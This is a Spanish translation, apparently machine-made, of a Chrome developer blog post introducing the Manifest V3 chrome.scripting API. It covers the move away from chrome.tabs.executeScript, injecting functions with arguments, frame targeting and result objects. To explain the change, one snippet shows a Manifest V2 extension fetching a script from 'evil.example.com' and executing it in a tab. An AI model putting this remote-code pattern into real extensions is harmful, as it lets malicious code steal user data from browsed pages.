Presentación de chrome.scripting

Simeon Vincent
Simeon Vincent

Manifest V3 presenta una serie de cambios en la plataforma de extensiones de Chrome. En esta publicación, exploraremos las motivaciones y los cambios introducidos por uno de los cambios más notables: el introducción de la API de chrome.scripting

¿Qué es chrome.scripting?

Como su nombre podría sugerir, chrome.scripting es un nuevo espacio de nombres que se introdujo en Manifest V3 responsable de las capacidades de inyección de secuencias de comandos y estilos.

Es posible que los desarrolladores que crearon extensiones de Chrome en el pasado estén familiarizados con los métodos de Manifest V2 en la API de Tabs, como chrome.tabs.executeScript y chrome.tabs.insertCSS. Estos métodos permiten que las extensiones inserten secuencias de comandos y hojas de estilo en páginas, respectivamente. En Manifest V3, estas capacidades se trasladaron a chrome.scripting y planeamos expandir esta API con algunas funciones nuevas en el futuro.

¿Por qué crear una API nueva?

Con un cambio como este, una de las primeras preguntas que suelen surgir es «¿por qué?».

El equipo de Chrome decidió implementar un nuevo espacio de nombres para la secuencia de comandos debido a diferentes factores. En primer lugar, la API de Tabs es un panel lateral no deseado para las funciones. En segundo lugar, necesitábamos hacer romper cambios en la API de executeScript existente. Tercero, sabíamos que queríamos expandir la escritura de secuencias de comandos capacidades para las extensiones. En conjunto, estas inquietudes definieron claramente la necesidad de que un nuevo espacio de nombres de escritura de secuencias de comandos.

El cajón de elementos no deseados

Uno de los problemas que ha molestado al equipo de Extensiones en los últimos años es que la La API de chrome.tabs está sobrecargada. Cuando se introdujo esta API, la mayoría de sus capacidades proporcionados se relacionaban con el concepto amplio de una pestaña del navegador. Sin embargo, en ese momento, era una una variedad de funciones y, con el paso de los años, esta colección ha ido creciendo.

Cuando se lanzó Manifest V3, la API de Tabs había crecido para abarcar la administración básica de pestañas, administración de selección, organización de ventanas, mensajería, control de zoom, navegación básica, secuencia de comandos y algunas otras capacidades más pequeñas. Aunque todos estos son importantes, puede ser un poco abrumador para desarrolladores, y para el equipo de Chrome mientras mantenemos la plataforma y ten en cuenta las solicitudes de la comunidad de desarrolladores.

Otro factor complicado es que no se comprende bien el permiso tabs. Si bien muchas otras restringen el acceso a una API determinada (p.ej., storage), este permiso es un poco inusual en el sentido de que solo otorga a la extensión acceso a propiedades sensibles en instancias de Tab (y también afecta a la API de Windows). Es comprensible que muchos desarrolladores de extensiones pensen erróneamente necesita este permiso para acceder a los métodos de la API de Tabs, como chrome.tabs.create. en alemán, chrome.tabs.executeScript. Quitar la funcionalidad de la API de Tabs ayuda a despejar parte de esta confusión.

Cambios rotundos

Cuando diseñamos Manifest V3, uno de los principales problemas que queríamos abordar era el abuso y el software malicioso habilitado por "código alojado de forma remota" - código que se ejecuta, pero que no está incluido en la extensión . Es común que los autores de extensiones abusivos ejecuten secuencias de comandos recuperadas desde servidores remotos para robar datos del usuario, inyectar malware y evadir la detección. Si bien las personas buenas también usan esta capacidad, finalmente sintió que era demasiado peligroso para permanecer como era.

Las extensiones pueden ejecutar código sin empaquetar de diferentes maneras, pero Este es el método chrome.tabs.executeScript de Manifest V2. Este método permite que una extensión ejecutar una cadena arbitraria de código en una pestaña de destino. Esto, a su vez, significa que un desarrollador malicioso puede recuperar una secuencia de comandos arbitraria de un servidor remoto y ejecutarla en cualquier página que la extensión pueda el acceso a los datos. Sabíamos que, si quisiéramos abordar el problema del código remoto, tendríamos que descartarlo .

(async function() {
  let result = await fetch('https://evil.example.com/malware.js');
  let script = await result.text();

  chrome.tabs.executeScript({
    code: script,
  });
})();

También quisimos solucionar otros problemas más sutiles con el diseño de la versión de Manifest V2 y hacer que la API sea una herramienta más pulida y predecible.

Si bien podríamos haber cambiado la firma de este método en la API de Tabs, sentimos que entre estos cambios rotundos y la introducción de nuevas capacidades (que tratamos en la siguiente sección), un el descanso limpio sería más fácil para todos.

Expansión de las capacidades de creación de secuencias de comandos

Otra consideración que se incorporó al proceso de diseño de Manifest V3 fue el deseo de introducir capacidades adicionales de escritura de secuencias de comandos a la plataforma de extensiones de Chrome. Específicamente, queríamos agregar compatibilidad con secuencias de comandos de contenido dinámico y expandir las capacidades del método executeScript

La compatibilidad con las secuencias de comandos de contenido dinámico es una de las más solicitadas en Chromium. Hoy, Las extensiones de Chrome Manifest V2 y V3 solo pueden declarar de forma estática secuencias de comandos de contenido en sus manifest.json archivo; la plataforma no permite registrar nuevos guiones de contenido, ajustes el registro de secuencias de comandos de contenido o cancelar el registro de secuencias de comandos de contenido en el tiempo de ejecución.

Aunque sabíamos que queríamos abordar esta solicitud de función en Manifest V3, ninguna de nuestras Las APIs sentían que era el hogar ideal. También consideramos la posibilidad de alinearse con Firefox en sus secuencias de comandos de contenido , pero desde el principio identificamos algunos inconvenientes importantes en este enfoque. Primero, sabíamos que tendríamos firmas incompatibles (p. ej., eliminación de la compatibilidad con code). propiedad). En segundo lugar, nuestra API tenía un conjunto diferente de restricciones de diseño (por ejemplo, necesitar un registro para persisten más allá de la vida útil de un service worker). Por último, este espacio de nombres también nos permitiría la funcionalidad de secuencias de comandos de contenido para la escritura de secuencias de comandos en extensiones.

En cuanto a executeScript, también queríamos expandir lo que esta API podía hacer más allá de las capacidades de las pestañas. Versión de API compatible. Específicamente, queríamos admitir funciones y argumentos de forma más sencilla Orientar fotogramas específicos y orientar anuncios que no son de "pestaña" diferentes.

De ahora en adelante, también estamos considerando cómo las extensiones pueden interactuar con las AWP instaladas y otras contextos que no corresponden conceptualmente a "pestañas".

Cambios entre tab.executeScript y scripting.executeScript

En el resto de esta publicación, me gustaría analizar con más detalle las similitudes y diferencias. entre chrome.tabs.executeScript y chrome.scripting.executeScript

Cómo insertar una función con argumentos

Si bien se considera cómo debería evolucionar la plataforma ante el código alojado de forma remota queríamos encontrar un equilibrio entre la potencia sin procesar de la ejecución de código arbitrario y solo permitir secuencias de comandos de contenido estático. La solución que decimos fue permitir que las extensiones inyecten un como una secuencia de comandos de contenido y para pasar un array de valores como argumentos.

Veamos rápidamente un ejemplo (simplificado). Supongamos que queremos insertar una secuencia de comandos que Saludó al usuario por su nombre cuando este hace clic en el botón de acción de la extensión (ícono de la barra de herramientas). En Manifest V2, podríamos construir dinámicamente una cadena de código y ejecutarla en la instancia .

// Manifest V2 extension
chrome.browserAction.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/greet-user.js');
  let userScript = await userReq.text();

  chrome.tabs.executeScript({
    // userScript == 'alert("Hello, <GIVEN_NAME>!")'
    code: userScript,
  });
});

Si bien las extensiones de Manifest V3 no pueden usar código que no esté incluido en el paquete, nuestro objetivo era conservar parte del dinamismo que generan los bloques de código arbitrarios habilitados para las extensiones de Manifest V2. El el enfoque de función y argumentos hace posible que los revisores, usuarios y otras personas de Chrome Web Store partes interesadas evalúen con mayor precisión los riesgos que representa una extensión y, al mismo tiempo, permite a los desarrolladores modificar el comportamiento del tiempo de ejecución de una extensión según la configuración del usuario o el estado de la aplicación.

// Manifest V3 extension
function greetUser(name) {
  alert(`Hello, ${name}!`);
}
chrome.action.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/user-data.json');
  let user = await userReq.json();
  let givenName = user.givenName || '<GIVEN_NAME>';

  chrome.scripting.executeScript({
    target: {tabId: tab.id},
    func: greetUser,
    args: [givenName],
  });
});

Marcos de segmentación

También queríamos mejorar la forma en que los desarrolladores interactúan con los fotogramas en la API revisada. Manifest V2 versión de executeScript permitió a los desarrolladores segmentar todos los fotogramas de una pestaña o un marco en la pestaña. Puedes usar chrome.webNavigation.getAllFrames para obtener una lista de todos los fotogramas en una pestaña.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.webNavigation.getAllFrames({tabId: tab.id}, (frames) => {
    let frame1 = frames[0].frameId;
    let frame2 = frames[1].frameId;

    chrome.tabs.executeScript(tab.id, {
      frameId: frame1,
      file: 'content-script.js',
    });
    chrome.tabs.executeScript(tab.id, {
      frameId: frame2,
      file: 'content-script.js',
    });
  });
});

En Manifest V3, reemplazamos la propiedad de número entero frameId opcional en el objeto de opciones por un array opcional frameIds de números enteros; esto permite a los desarrolladores apuntar a múltiples fotogramas en un solo llamada a la API.

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let frames = await chrome.webNavigation.getAllFrames({tabId: tab.id});
  let frame1 = frames[0].frameId;
  let frame2 = frames[1].frameId;

  chrome.scripting.executeScript({
    target: {
      tabId: tab.id,
      frameIds: [frame1, frame2],
    },
    files: ['content-script.js'],
  });
});

Resultados de la inserción de secuencias de comandos

También mejoramos la forma en que se muestran los resultados de la inserción de secuencias de comandos en Manifest V3. Un "resultado" es básicamente la declaración final evaluada en un guion. Piénsalo como el valor que se devuelve cuando llama a eval() o ejecuta un bloque de código en la consola de Herramientas para desarrolladores de Chrome, pero serializado para y enviar resultados entre procesos.

En Manifest V2, executeScript y insertCSS mostrarían un array de resultados de ejecución simple. Esto está bien si solo tiene un punto de inyección, pero el orden del resultado no se garantiza cuando la inyección en múltiples marcos para que no haya forma de saber qué resultado está asociado con qué marco.

Para ver un ejemplo concreto, veamos los arrays results que devuelve Manifest V2 y una Es la versión Manifest V3 de la misma extensión. Ambas versiones de la extensión insertarán la misma secuencia de comandos de contenido y compararemos los resultados en la misma página de demostración.

// content-script.js
var headers = document.querySelectorAll('p');
headers.length;

Cuando ejecutamos la versión Manifest V2, obtenemos un array de [1, 0, 5]. Qué resultado corresponde al marco principal y cuál es para el iframe? El valor que se muestra no lo indica, por lo que no sabemos sin duda.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.tabs.executeScript({
    allFrames: true,
    file: 'content-script.js',
  }, (results) => {
    // results == [1, 0, 5]
    for (let result of results) {
      if (result > 0) {
        // Do something with the frame... which one was it?
      }
    }
  });
});

En la versión Manifest V3, results ahora contiene un array de objetos de resultado en lugar de un array de solo los resultados de la evaluación, y los objetos de resultado identifican claramente el ID del fotograma para cada resultado. Esto hace que sea mucho más fácil para los desarrolladores usar el resultado y tomar medidas en función de un marco.

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let results = await chrome.scripting.executeScript({
    target: {tabId: tab.id, allFrames: true},
    files: ['content-script.js'],
  });
  // results == [
  //   {frameId: 0, result: 1},
  //   {frameId: 1235, result: 5},
  //   {frameId: 1234, result: 0}
  // ]

  for (let result of results) {
    if (result.result > 0) {
      console.log(`Found ${result} p tag(s) in frame ${result.frameId}`);
      // Found 1 p tag(s) in frame 0
      // Found 5 p tag(s) in frame 1235
    }
  }
});

Conclusión

Los cambios en las versiones del manifiesto presentan una oportunidad poco común para repensar y modernizar las APIs de extensiones. Nuestro objetivo con Manifest V3 es mejorar la experiencia del usuario final al hacer que las extensiones sean más seguras y, al mismo tiempo, y mejorar la experiencia de los desarrolladores. Con la incorporación de chrome.scripting en Manifest V3, pudimos para limpiar la API de Tabs, reimaginar executeScript para una plataforma de extensiones más segura y sentar las bases para nuevas capacidades de escritura de secuencias de comandos que se implementarán más adelante este año.